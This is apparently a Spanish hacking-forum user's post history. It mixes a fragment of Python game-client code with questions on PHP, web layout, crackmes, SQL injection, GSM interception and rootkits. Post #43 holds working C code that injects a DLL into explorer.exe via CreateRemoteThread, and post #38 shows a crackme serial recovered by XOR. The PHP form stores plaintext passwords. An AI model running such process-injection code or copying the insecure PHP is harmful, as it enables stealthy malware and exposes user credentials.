net.SendGiveItemPacket(dstChrID, attachedInvenType, attachedItemSlotPos, attachedItemCount)
else:
net.SendExchangeStartPacket(dstChrID)
net.SendExchangeItemAddPacket(attachedInvenType, attachedItemSlotPos, 0)
else:
self.__DropItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount)

def __PutMoney(self, attachedType, attachedMoney, dstChrID):
if TRUE == chr.HasInstance(dstChrID) and player.GetMainCharacterIndex() != dstChrID:
net.SendExchangeStartPacket(dstChrID)
net.SendExchangeElkAddPacket(attachedMoney)
else:
self.__DropMoney(attachedType, attachedMoney)

def __DropMoney(self, attachedType, attachedMoney):
# PRIVATESHOP_DISABLE_ITEM_DROP - 개인상점 열고 있는 동안 아이템 버림 방지
if uiPrivateShopBuilder.IsBuildingPrivateShop():
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
return
# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP

if attachedMoney>=1000:
self.stream.popupWindow.Close()
self.stream.popupWindow.Open(localeInfo.DROP_MONEY_FAILURE_1000_OVER, 0, localeInfo.UI_OK)
return

itemDropQuestionDialog = uiCommon.QuestionDialog()
itemDropQuestionDialog.SetText(localeInfo.DO_YOU_DROP_MONEY % (attachedMoney))
itemDropQuestionDialog.SetAcceptEvent(lambda arg=TRUE: self.RequestDropItem(arg))
itemDropQuestionDialog.SetCancelEvent(lambda arg=FALSE: self.RequestDropItem(arg))
itemDropQuestionDialog.Open()
itemDropQuestionDialog.dropType = attachedType
itemDropQuestionDialog.dropCount = attachedMoney
itemDropQuestionDialog.dropNumber = player.ITEM_MONEY
self.itemDropQuestionDialog = itemDropQuestionDialog

def __DropItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount):
# PRIVATESHOP_DISABLE_ITEM_DROP - 개인상점 열고 있는 동안 아이템 버림 방지
if uiPrivateShopBuilder.IsBuildingPrivateShop():
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
return
# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP

if player.SLOT_TYPE_INVENTORY == attachedType and player.IsEquipmentSlot(attachedItemSlotPos):
self.stream.popupWindow.Close()
self.stream.popupWindow.Open(localeInfo.DROP_ITEM_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)

else:
if player.SLOT_TYPE_INVENTORY == attachedType:
dropItemIndex = player.GetItemIndex(attachedItemSlotPos)

item.SelectItem(dropItemIndex)
dropItemName = item.GetItemName()

## Question Text
questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)

## Dialog
itemDropQuestionDialog = uiCommon.QuestionDialog()
itemDropQuestionDialog.SetText(questionText)
itemDropQuestionDialog.SetAcceptEvent(lambda arg=TRUE: self.RequestDropItem(arg))
itemDropQuestionDialog.SetCancelEvent(lambda arg=FALSE: self.RequestDropItem(arg))
itemDropQuestionDialog.Open()
itemDropQuestionDialog.dropType = attachedType
itemDropQuestionDialog.dropNumber = attachedItemSlotPos
itemDropQuestionDialog.dropCount = attachedItemCount
self.itemDropQuestionDialog = itemDropQuestionDialog

constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)
elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
dropItemIndex = player.GetItemIndex(player.DRAGON_SOUL_INVENTORY, attachedItemSlotPos)

item.SelectItem(dropItemIndex)
dropItemName = item.GetItemName()

## Question Text
questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)

## Dialog
itemDropQuestionDialog = uiCommon.QuestionDialog()
itemDropQuestionDialog.SetText(questionText)
itemDropQuestionDialog.SetAcceptEvent(lambda arg=TRUE: self.RequestDropItem(arg))
itemDropQuestionDialog.SetCancelEvent(lambda arg=FALSE: self.RequestDropItem(arg))
itemDropQuestionDialog.Open()
itemDropQuestionDialog.dropType = attachedType
itemDropQuestionDialog.dropNumber = attachedItemSlotPos
itemDropQuestionDialog.dropCount = attachedItemCount
self.itemDropQuestionDialog = itemDropQuestionDialog

constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)

def RequestDropItem(self, answer):
if not self.itemDropQuestionDialog:
return

if answer:
dropType = self.itemDropQuestionDialog.dropType
dropCount = self.itemDropQuestionDialog.dropCount
dropNumber = self.itemDropQuestionDialog.dropNumber

if player.SLOT_TYPE_INVENTORY == dropType:
if dropNumber == player.ITEM_MONEY:
net.SendGoldDropPacketNew(dropCount)
snd.PlaySound("sound/ui/money.wav")
else:
# PRIVATESHOP_DISABLE_ITEM_DROP
self.__SendDropItemPacket(dropNumber, dropCount)
# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == dropType:
# PRIVATESHOP_DISABLE_ITEM_DROP
self.__SendDropItemPacket(dropNumber, dropCount, player.DRAGON_SOUL_INVENTORY)
# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP

self.itemDropQuestionDialog.Close()
self.itemDropQuestionDialog = None

constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)

# PRIVATESHOP_DISABLE_ITEM_DROP
def __SendDropItemPacket(self, itemVNum, itemCount, itemInvenType = player.INVENTORY):
if uiPrivateShopBuilder.IsBuildingPrivateShop():
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
return

net.SendItemDropPacketNew(itemInvenType, itemVNum, itemCount)
# END_OF_PRIVATESHOP_DISABLE_ITEM_DROP

def OnMouseRightButtonDown(self):

self.CheckFocus()

if TRUE == mouseModule.mouseController.isAttached():
mouseModule.mouseController.DeattachObject()

else:
player.SetMouseState(player.MBT_RIGHT, player.MBS_PRESS)

return TRUE

def OnMouseRightButtonUp(self):
if TRUE == mouseModule.mouseController.isAttached():
return TRUE

player.SetMouseState(player.MBT_RIGHT, player.MBS_CLICK)
return TRUE

def OnMouseMiddleButtonDown(self):
player.SetMouseMiddleButtonState(player.MBS_PRESS)

def OnMouseMiddleButtonUp(self):
player.SetMouseMiddleButtonState(player.MBS_CLICK)

def OnUpdate(self):
app.UpdateGame()

if self.AHhaus.IsShow():
self.AHhaus.OnUpdateSelf()

if self.mapNameShower.IsShow():
self.mapNameShower.Update()

if self.isShowDebugInfo:
self.UpdateDebugInfo()

if self.enableXMasBoom:
self.__XMasBoom_Update()

self.interface.BUILD_OnUpdate()

#for i in xrange(4+1):
#if self.boniSwitcherWnd[i]:
#if not self.boniSwitcherWnd[i].IsShow():
#self.boniSwitcherWnd[i].OnUpdate()

def UpdateDebugInfo(self):
#
# 캐릭터 좌표 및 FPS 출력
(x, y, z) = player.GetMainCharacterPosition()
nUpdateTime = app.GetUpdateTime()
nUpdateFPS = app.GetUpdateFPS()
nRenderFPS = app.GetRenderFPS()
nFaceCount = app.GetFaceCount()
fFaceSpeed = app.GetFaceSpeed()
nST=background.GetRenderShadowTime()
(fAveRT, nCurRT) =  app.GetRenderTime()
(iNum, fFogStart, fFogEnd, fFarCilp) = background.GetDistanceSetInfo()
(iPatch, iSplat, fSplatRatio, sTextureNum) = background.GetRenderedSplatNum()
if iPatch == 0:
iPatch = 1

#(dwRenderedThing, dwRenderedCRC) = background.GetRenderedGraphicThingInstanceNum()

self.PrintCoord.SetText("Coordinate: %.2f %.2f %.2f ATM: %d" % (x, y, z, app.GetAvailableTextureMemory()/(1024*1024)))
xMouse, yMouse = wndMgr.GetMousePosition()
self.PrintMousePos.SetText("MousePosition: %d %d" % (xMouse, yMouse))

self.FrameRate.SetText("UFPS: %3d UT: %3d FS %.2f" % (nUpdateFPS, nUpdateTime, fFaceSpeed))

if fAveRT>1.0:
self.Pitch.SetText("RFPS: %3d RT:%.2f(%3d) FC: %d(%.2f) " % (nRenderFPS, fAveRT, nCurRT, nFaceCount, nFaceCount/fAveRT))

self.Splat.SetText("PATCH: %d SPLAT: %d BAD(%.2f)" % (iPatch, iSplat, fSplatRatio))
#self.Pitch.SetText("Pitch: %.2f" % (app.GetCameraPitch())
#self.TextureNum.SetText("TN : %s" % (sTextureNum))
#self.ObjectNum.SetText("GTI : %d, CRC : %d" % (dwRenderedThing, dwRenderedCRC))
self.ViewDistance.SetText("Num : %d, FS : %f, FE : %f, FC : %f" % (iNum, fFogStart, fFogEnd, fFarCilp))

def OnRender(self):
app.RenderGame()

if self.console.Console.collision:
background.RenderCollision()
chr.RenderCollision()

(x, y) = app.GetCursorPosition()

########################
# Picking
########################
textTail.UpdateAllTextTail()

if TRUE == wndMgr.IsPickedWindow(self.hWnd):

self.PickingCharacterIndex = chr.Pick()

if -1 != self.PickingCharacterIndex:
textTail.ShowCharacterTextTail(self.PickingCharacterIndex)
if 0 != self.targetBoard.GetTargetVID():
textTail.ShowCharacterTextTail(self.targetBoard.GetTargetVID())

# ADD_ALWAYS_SHOW_NAME
if not self.__IsShowName():
self.PickingItemIndex = item.Pick()
if -1 != self.PickingItemIndex:
textTail.ShowItemTextTail(self.PickingItemIndex)
# END_OF_ADD_ALWAYS_SHOW_NAME

## Show all name in the range

# ADD_ALWAYS_SHOW_NAME
if self.__IsShowName():
textTail.ShowAllTextTail()
self.PickingItemIndex = textTail.Pick(x, y)
# END_OF_ADD_ALWAYS_SHOW_NAME

textTail.UpdateShowingTextTail()
textTail.ArrangeTextTail()
if -1 != self.PickingItemIndex:
textTail.SelectItemName(self.PickingItemIndex)

grp.PopState()
grp.SetInterfaceRenderState()

textTail.Render()
textTail.HideAllTextTail()

def OnPressEscapeKey(self):

if self.AHhaus.IsShow():
self.AHhaus.Hide()
return TRUE

if app.TARGET == app.GetCursor():
app.SetCursor(app.NORMAL)

elif TRUE == mouseModule.mouseController.isAttached():
mouseModule.mouseController.DeattachObject()

else:
self.interface.OpenSystemDialog()

return TRUE

def OnIMEReturn(self):
if app.IsPressed(app.DIK_LSHIFT):
self.interface.OpenWhisperDialogWithoutTarget()
else:
self.interface.ToggleChat()
return TRUE

def OnPressExitKey(self):
self.interface.ToggleSystemDialog()
return TRUE

## BINARY CALLBACK
######################################################################################

# WEDDING
def BINARY_LoverInfo(self, name, lovePoint):
if self.interface.wndMessenger:
self.interface.wndMessenger.OnAddLover(name, lovePoint)
if self.affectShower:
self.affectShower.SetLoverInfo(name, lovePoint)

def BINARY_UpdateLovePoint(self, lovePoint):
if self.interface.wndMessenger:
self.interface.wndMessenger.OnUpdateLovePoint(lovePoint)
if self.affectShower:
self.affectShower.OnUpdateLovePoint(lovePoint)
# END_OF_WEDDING

# QUEST_CONFIRM
def BINARY_OnQuestConfirm(self, msg, timeout, pid):
confirmDialog = uiCommon.QuestionDialogWithTimeLimit()
confirmDialog.Open(msg, timeout)
#35
Scripting / [duda] Python al pasar a c++
23 Septiembre 2015, 23:07 PM
hola,

soy nuevo programando en python y no se me da mucho la verdad
tengo esto en un programa c++ PythonNetworkStream.h

void __RefreshCharacterWindow();

y esto en un archivo game.py

def RefreshCharacter(self):
        if self.interface:
            self.interface.RefreshCharacter()


esas dos funciones deberian tener el mismo nombre o como interpreta python que es esa la funcion que le pasa al binario, saludos
#36
PHP / [ayuda] Formulario no funciona
27 Agosto 2015, 22:05 PM

hola,
vengo a pedir de su gran ayuda, nose cual es el error y luego de dar vueltas y leer en varios sitios no consigo hacer funcionar este registro nose cual es el error, de antemano gracias por la ayuda  ;-)



<?php
 
require_once('inc/login.php');
 include(
'inc/funciones.php');
 
 
$username htmlentities(mysql_real_escape_string($_POST['username']));
 
$password htmlentities(mysql_real_escape_string($_POST['password']));
 
$password_confirm htmlentities(mysql_real_escape_string($_POST['password_confirm'])); 
 
$name htmlentities(mysql_real_escape_string($_POST['name']));
 
$email htmlentities(mysql_real_escape_string($_POST['email']));;
 
$codigoborrado htmlentities(mysql_real_escape_string($_POST['codigoborrado']));
 
 if(isset(
$_POST['submit']) {
      if(
checkAnum($username) && strlen($username) < 20 && checkAnum($password)  && strlen($password) >= && strlen($password) < 25 && strlen($password_confirm) <25 && !empty($password_confirm) && $password == $password_confirm && checkName($name) && strlen($name) >=&& strlen($name) < 25 && checkMail($email) && strlen($email) < 40 && checkAnum($codigoborrado) && strlen($codigoborrado) == 7) {

        
$sqlCmd "INSERT INTO account (usuario,password,nombre,email,codigo_borrado) 
        VALUES ('
$username','$password','$name','$email','$codigoborrado')";
        
$sqlQry mysql_query($sqlCmd,$sqlServ);
        if(
$sqlQry) {
          
          
$error 'El registro en  fue un exito ';
echo ('&error='.$error);
}
        else {
          
$error '<center><b><font color="red">Registro Error: La cuenta ya existe.</font></b></center></p>';
echo ('&error='.$error);
}
   
      }
  else {
        
$error '<center><b><font color="red">Error en el registro por favor especificar todos los campos correctamente</font></b></center></p>';
echo ('&error='.$error);
  }
}

  
?>



login.php

<?php

$hostname 
'';
$database '';
$username '';
$password '';

$login mysql_connect($hostname$username$password) or trigger_error(mysql_error(),E_USER_ERROR);
mysql_select_db($database);
?>


funciones.php

<?php

function checkAnum($wert) {
    
$checkit preg_match("/^[a-zA-Z0-9]+$/",$wert);
    if(
$checkit) {
      return 
true;
    }
    else {
      return 
false;
    }
  }
  
  function 
checkName($wert) {
    
$checkit preg_match("/^[a-zA-Z0-9[:space:]]+$/",$wert);
    if(
$checkit) {
      return 
true;
    }
    else {
      return 
false;
    }
  }
  
 function 
checkMail($string) {
    if(
preg_match("/^[a-zA-Z0-9\._-]+@[a-zA-Z0-9\.-]+\.[a-zA-Z]{2,4}$/"$string)) {
      return 
true;
    }
    else { return 
false; }
  }
  
?>
#37
hola a tod@s,

hoy vengo a pedir de su gran ayuda, tengo un archivo que necesito descompilar o ver el codigo, se que al descompilar queda un archivo .xml

el archivo no tiene ninguna extensión por lo cual me dejo mas perdido  :-\

le extraje los metadatos haber si encontraba algo esto fue lo que arrojo
----------------------------------------------------------------------------------------
ExifTool Version Number        : 10.00
File Name                             : maxmigame
Directory                              : .
File Size                                : 6.5 MB
 File Modification Date/Time     : 2015:01:14 20:53:40-05:00
 File Access Date/Time            : 2015:08:26 11:01:14-05:00
 File Creation Date/Time          : 2015:08:26 11:01:14-05:00
 File Permissions                     : rw-rw-rw-
 File Type                               : ELF executable
 File Type Extension                :
 MIME Type                            : application/octet-stream
 CPU Architecture                   : 32 bit
 CPU Byte Order                    : Little endian
 Object File Type                    : Executable file
 CPU Type                             : i386
---------------------------------------------------------------------------------

creo yo que es un archivo ELF executable pero nose la pregunta seria si es ese tipo de archivos como podria descompilar o descifrar/cifrar ese archivo?

#38

Hola a tod@s

es que estaba viendo la solucion por que no lograba encontrar la clave viendo esta respuesta aclare varias cosas que no entendia pero tengo una gran duda como hace UNDER para saber que el valor que hay en 00402150 es exactamente 1F 2C 37 36 3B 3D 28 19 3D 26 1A 31 2D 3B 37 3E de antemano agradezco su gran ayuda  ;-) ;-)



CitarSi vemos el crackme está empaquetado, si no me equivoco con UPX.
Lo desempaquetamos.

Ya desempaquetado buscamos referencias de string, encontrarás la de que el serial es correcto, lo que debes dirigirte a ella y subir hasta el push ahí si miras abajo OllyDBG mostrará de donde es llamado ese procedimiento encargado de mostrar el mensaje, te darás cuenta que viene por consecuencia de un salto condicional si te vas a el, verás un poco más arriba dos call que utilizan parámetros de la pila, si entras verás que lo primero que hace es tomar la pass y pasarla a mayúscula, luego de pasarla a mayúscula realiza un cifrado XOR del password ingresado junto con la string:
Messing_in_bytes

Mientras va cifrando el resultado va sobre escribiendo el password introducido:

0040217E

luego de esto lo compara con:

00402150  1F 2C 37 36 3B 3D 28 19 3D 26 1A 31 2D 3B 37 3E

Por lo que si el password cifrado con la string Messing_in_bytes no es igual a los bytes ubicados en 00402150, nos mostrará un mensaje de error.

Por suerte el cifrado XOR es bidireccional lo cual puede ser invertido sin ningún problema, debemos plantearnos la siguiente pregunta: ¿Que serial necesito introducir para que cuando se cifre con la string me de como resultado el serial ubicado en 00402150?.

Si Serial introducido XOR String (Messing_in_bytes) = contenido address 00402150 (serial correcto)

al ser bidireccional

Serial correcto (X)= String (Messing_in_bytes) XOR contenido address 00402150

Lo cual nos dará la siguiente tabla:

Código:

     M  e s  s  i n  g  _  i  n _  b  y  t  e  s
00402150  1F 2C 37 36 3B 3D 28 19 3D 26 1A 31 2D 3B 37 3E
         4D 65 73 73 69 6E 67 5F 69 6E 5F 62 79 74 65 73
XOR =     52 49 44 45 52 53 4F 46 54 48 45 53 54 4F 52 4D


HEX-ASCCI=R  I  D  E  R  S  O  F  T  H  E  S  T  O  R  M
#39
hola, estoy buscando un equipo de trabajo para crear juegos ya sea en unity o en construct, actualmente diseño una web y una plataforma de encuentro por si alguno quiere unirse estan todos invitados  ;-) mod: no hacer spam

pdt: me contactan por aqui o en la web
#40
Hacking Wireless / [duda] spoofing red gsm?
15 Julio 2015, 17:40 PM
hola, estaba viendo un video sobre como interceptaban llamadas o hacian un radar de aviones atravez de kali linux pero me genero una duda en el video hablaban de airporbe gnu-radio y otros sofware pero no especificaban que tipo de antenas o cual era el hadware, la duda es

¿con una antena yagi + ese sofware es posible eso?
¿o que tipo de antenas y tarjetas usan para tales fines?

pdt: -nose si esto va aqui, de todas formas pido disculpas si no  :xD
       -no me mal interpreten no hago uso de la informacion para mal sino por aprender
#41
Desarrollo Web / ayuda implementar slider
15 Julio 2015, 17:09 PM
hola, veran estoy creando y a la misma vez aprendiendo a programar y me he liado un poco con la implementacion de un slider en mi web https://www.instajuegos.com en la parte de destacados quiero que aparescan 4 imagenes una a lado de la otra y mas pequeñas pero hay esta el dilema nose como esto es lo que tengo hasta ahora:

Código (html4strict) [Seleccionar]
<div class="slides">
<div class="col-xs-12 col-sm-3 col-md-3 col-lg-3">
<div class="box-team wow bounceInDown" data-wow-delay="0.1s">
                   <img src="img/team/1.jpg" alt="" class="img-responsive" />
                   <h4>Kurt coleman</h4>
                   <p>Art Director</p>
</div>
               </div>
               <div class="col-xs-12 col-sm-3 col-md-3 col-lg-3" data-wow-delay="0.3s">
<div class="box-team wow bounceInDown">
                   <img src="img/team/2.jpg" alt="" class="img-responsive" />
                   <h4>Isobel lyna</h4>
                   <p>Web Designe</p>
</div>
               </div>
               <div class="col-xs-12 col-sm-3 col-md-3 col-lg-3" data-wow-delay="0.5s">
<div class="box-team wow bounceInDown">
                   <img src="img/team/3.jpg" alt="" class="img-responsive" />
                   <h4>Leslie gutierrez</h4>
                   <p>Illustrator</p>
</div>
               </div>
               <div class="col-xs-12 col-sm-3 col-md-3 col-lg-3" data-wow-delay="0.7s">
<div class="box-team wow bounceInDown">
                   <img src="img/team/4.jpg" alt="" class="img-responsive" />
                   <h4>Letitia pena</h4>
                   <p>Typographer</p>
</div>
               </div>
 </div>

<script>
$(function(){
$(".slides").slidesjs({
})
})
</script>


y en el css:

Código (css) [Seleccionar]
.slides{
width:100%;
}
.slidesjs-pagination{
background:#112233;
list-style:none;
overflow:hidden;
}
.slidesjs-pagination li{
float:left;
}
.slidesjs-pagination li a{
display:block;
padding:5px 6px;
color:#fff;
text-decoration:none;
}
.slidesjs-pagination li a:hover{
background:#44BBFF;
}
.slides .active{
background:#44BBFF;
}
.slidesjs-navigation{
background:#44BBFF;
color:#fff;
text-decoration:none;
display:inline-block;
padding:3px 10px;
float:right;
}


pido muy comedidamente su colaboracion   ;D


Mod: Obligatorio el uso de etiquetas GeSHi.
#42
Nivel Web / duda inyeccion sql
14 Junio 2015, 06:54 AM
hola,
veran estaba siguiendo un tutorial sobre inyeccion sql el hecho es que consegui tal como decia el usuario y la contraseña del admin pero al logearme dice que es invalida la informacion, lo mismo realice con otros usuarios teniendo el mismo resultado (informacion erronea) eso por que pasa? puede haber una segunda base de datos invisible? si alguno me pudiera dar alguna explicacion se los agradeceria
#43
Programación C/C++ / error al compilar este rootkit
29 Septiembre 2014, 07:40 AM
hola a tod@s es que estaba siguiendo esta guia para aprender un poco mas a programar y por que no acerca de este tipo de virus pero me ha surgido un problema que no entiendo muy bien cuando trato de compilar el codigo me salta este error 35 109 [Warning] passing NULL to non-pointer argument 3 of 'void* CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, DWORD,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD)' [-Wconversion-null]


si algun@ fuera amable y me explicara un poco mejor de que se trata el codigo en cuestion es este

#include <windows.h>
    #include <tlhelp32.h>

    void main()
    {
    HANDLE proceso;
    LPVOID RemoteString;
    LPVOID nLoadLibrary;
    int pid;

    // OBTENEMOS EL PID DEL PROCESO
    // (Si quieren información sobre estas APIs miren la ayuda de microsoft)

    HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

    //Aquí empezamos a recorrer todos los procesos que están abiertos
    while(Process32Next(handle, &procinfo))
    {
    if(!strcmp(procinfo.szExeFile, "explorer.exe"))//comparamos los nombres
    {
    CloseHandle(handle);
    pid = procinfo.th32ProcessID;//guardamos el PID
    }
    }
    CloseHandle(handle);

    // INYECTAMOS LA DLL
    // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

    proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
    RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL);
    CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
    CloseHandle(proceso);
    }


al parecer el error esta en esta linea
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
#44
hola a tod@s, vengo a pedir su colaboracion pues por mi poco conocimiento no logro poner los capitulos debajo de cada temporada pueden verlo en mi web como esta actualmente http://moveer.url.ph/series/3/the-big-band.html una fotico  ;-)



este es el codigo que ocupo actualmente en esa web se que apenas estoy aprendiendo pero si me pudieran colaborar o dar alguna idea de como podria hacerlo  ;D ;D se los agradeceria muchisimo   ;)

Código (html4strict) [Seleccionar]
{if $msTemporada !=""}
                 {foreach from=$msTemporada item=t}<div style="padding-bottom:0px;text-align:center;" class="content f_right bgdeg7 bold fs19px p_relative white"> <table width="100%" border="1">
                   <tr>
                     <td width="35%"><center>{$t.t_temporada|escape}</center></td>
                     </tr>
                     </table>
                     {/foreach}
                     </div>{/if}
                     
               {if $msDown != ""}
               <div style="padding-bottom:0px;text-align:center;" class="content f_right bgdeg7 bold fs17px p_relative white"> <table width="100%" border="1">
                 <tr>
                   <td width="35%"><center>Capitulos</center></td>
                   <td width="35%"><center>Servidor</center></td>
                   <td width="20%"><center>Idioma</center></td>
                   <td width="10%"><center>Ver</center></td>
                 </tr>
               </table></div>
               {assign var=i value=1}
                       {foreach from=$msDown item=c}<div style="padding-bottom:0px;text-align:center;"  class="content f_right brdr10px fs15px p_relative mgbot15px"><table width="100%" border="1">
                         <tr>
                           <td width="35%"><center>{$c.c_capitulo|escape}</center></td>
                           <td width="35%"><center>{$c.c_servidor|escape}</center></td>
                           <td width="20%"><center>{$c.c_idioma|escape}</center></td>
                           <td width="10%"><a href="{$c.c_link|escape}" target="_new" ><center><img src="{$msConfig.datos.w_url}/Temas/default/img/link.png"style="width:16px;height:16px"</a></center></td>
                         </tr>
                       </table>
                       {/foreach}  
                 </div>{/if}
#45
Hacking / Duda sobre rootkits
21 Agosto 2014, 22:09 PM
hola a tod@s leia un post sobre como se inyactan los rootkits pero me ha causado una duda este tema de los rootkits, hay alguna manera de detectar estos procesos manualmente? sin la ayuda de algun anti-malwared